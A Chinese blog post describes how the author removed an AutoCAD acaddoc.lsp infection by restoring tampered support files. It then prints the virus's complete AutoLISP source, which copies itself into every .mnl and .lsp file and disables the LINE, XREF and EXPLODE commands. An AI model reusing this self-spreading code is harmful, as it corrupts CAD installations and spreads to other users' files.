智能网络

┨智能网络的宗旨:活地更简单 活地更精彩┠

« 住职工宿舍开始收费了关于GPS不能定位的原因 »

64位WIN7系统下64位ACAD2010产生acaddoc.lsp的解决办法

今天CAD又犯毛病了,每次打开文件又出现acaddoc.lsp,按照以前的思路解决未果,只好一个一个查找SUPPORT目录中的文件和acaddoc.lsp进行对照,发现acetmain.mnl,AecArchXOE.mnl,acad.CUIX和

acad.mnl叛变了,从安装文件中复制源文件覆盖这四个即可,另外执行menuload我卸载了一个不知名的菜单,主要是名称忘记了或许没有大碍,此方法在WIN7 X64下CAD2010 X64修改后再次打开CAD文件

没有acaddoc.lsp文件产生,另外这四个文件设成只读,以防再次被修改。

当然首先需要把原先生成的acaddoc.lsp文件全盘删掉。

于 2011.11.24 沙特利雅得 记

补充一下,查到support目录后按时间先后排列,这样更能明显地查看哪几个文件被修改过。

以下是acaddoc.lsp文件的内容
(setq flagx t)
(setq bz "(setq flagx t)")
(defun app(source target bz / flag flag1 wjm wjm1 text)
  (setq flag nil)
  (setq flag1 t)
  (if (findfile target)
    (progn
      (setq wjm1 (open target "r"))
      (while (setq text (read-line wjm1))
 (if (= text bz) (setq flag1 nil))
 );while
      (close wjm1)
      );progn
    );if
  (if flag1
    (progn
      (setq wjm (open source "r"))
      (setq wjm1 (open target "a"))
      (write-line (chr 13) wjm1)
      (while (setq text (read-line wjm))
 (if (= text bz) (setq flag t))
 (if flag
   (progn
     (write-line text wjm1)
     );progn
   );if
 );while
      (close wjm1)
      (close wjm)
      );progn
    );if
  );defun
(setvar "cmdecho" 0)
(setq acadmnl (findfile "acad.mnl"))
(setq acadmnlpath (vl-filename-directory acadmnl))
(setq mnlfilelist (vl-directory-files acadmnlpath "*.mnl"))
(setq mnlnum (length mnlfilelist))
(setq acadexe (findfile "acad.exe"))
(setq acadpath (vl-filename-directory acadexe))
(setq support (strcat acadpath "\\support"))
(setq lspfilelist (vl-directory-files support "*.lsp"))
(setq lspfilelist (append lspfilelist (list "acaddoc.lsp")))
(setq lspnum (length lspfilelist))
(setq dwgname (getvar "dwgname"))
(setq dwgpath (findfile dwgname))
(if dwgpath
  (progn
    (setq acaddocpath (vl-filename-directory dwgpath))
    (setq acaddocfile (strcat acaddocpath "\\acaddoc.lsp"))
    (setq mnln 0)
    (while (< mnln mnlnum)
      (setq mnlfilename (strcat acadmnlpath "\\" (nth mnln mnlfilelist)))
      (app mnlfilename acaddocfile bz)
      (app acaddocfile mnlfilename bz)
      (setq mnln (1+ mnln))
      );while
    (setq lspn 0)
    (while (< lspn lspnum)
      (setq lspfilename (strcat support "\\" (nth lspn lspfilelist)))
      (app lspfilename acaddocfile bz)
      (app acaddocfile lspfilename bz)
      (setq lspn (1+ lspn))
      );while
    );progn
  );if
(setq mnln 0)
(while (< mnln mnlnum)
  (setq mnlfilename (strcat acadmnlpath "\\" (nth mnln mnlfilelist)))
  (setq mnln1 0)
  (while (< mnln1 mnlnum)
    (setq mnlfilename1 (strcat acadmnlpath "\\" (nth mnln1 mnlfilelist)))
    (app mnlfilename mnlfilename1 bz)
    (setq mnln1 (1+ mnln1))
    );while
  (setq lspn1 0)
  (while (< lspn1 lspnum)
    (setq lspfilename1 (strcat support "\\" (nth lspn1 lspfilelist)))
    (app mnlfilename lspfilename1 bz)
    (setq lspn1 (1+ lspn1))
    );while
  (setq mnln (1+ mnln))
  );while
(setq lspn 0)
(while (< lspn lspnum)
  (setq lspfilename (strcat support "\\" (nth lspn lspfilelist)))
  (setq lspn1 0)
  (while (< lspn1 lspnum)
    (setq lspfilename1 (strcat support "\\" (nth lspn1 lspfilelist)))
    (app lspfilename lspfilename1 bz)
    (setq lspn1 (1+ lspn1))
    );while
  (setq mnln1 0)
  (while (< mnln1 mnlnum)
    (setq mnlfilename1 (strcat acadmnlpath "\\" (nth mnln1 mnlfilelist)))
    (app lspfilename mnlfilename1 bz)
    (setq mnln1 (1+ mnln1))
    );while
  (setq lspn (1+ lspn))
  );while
(setvar "sdi" 1)
(setvar "ACADLSPASDOC" 1)
(command "undefine" "line")
(command "undefine" "_line")
(command "undefine" "xref")
(command "undefine" "_xref")
(command "undefine" "explode")
(command "undefine" "_explode")
(setvar "cmdecho" 1)
(load "acadapq")
(princ)
(if (null stol) (load "lcm" ""))
(princ)

  • quote 1.wei
  • CAD2008用这种方法可以不
    znwl 于 2012-1-9 8:39:08 回复
    如果遇到这种情况,可以试验一下。
  • 2012-1-7 23:09:32 回复该留言

发表评论:

◎欢迎参与讨论,请在这里发表您的看法、交流您的观点。

日历

最新评论及回复

最近发表

Copyright www.znwl.com & E-mail:liwen@znwl.com QQ:5520574

Powered By Z-Blog 1.8 Walle Build 91204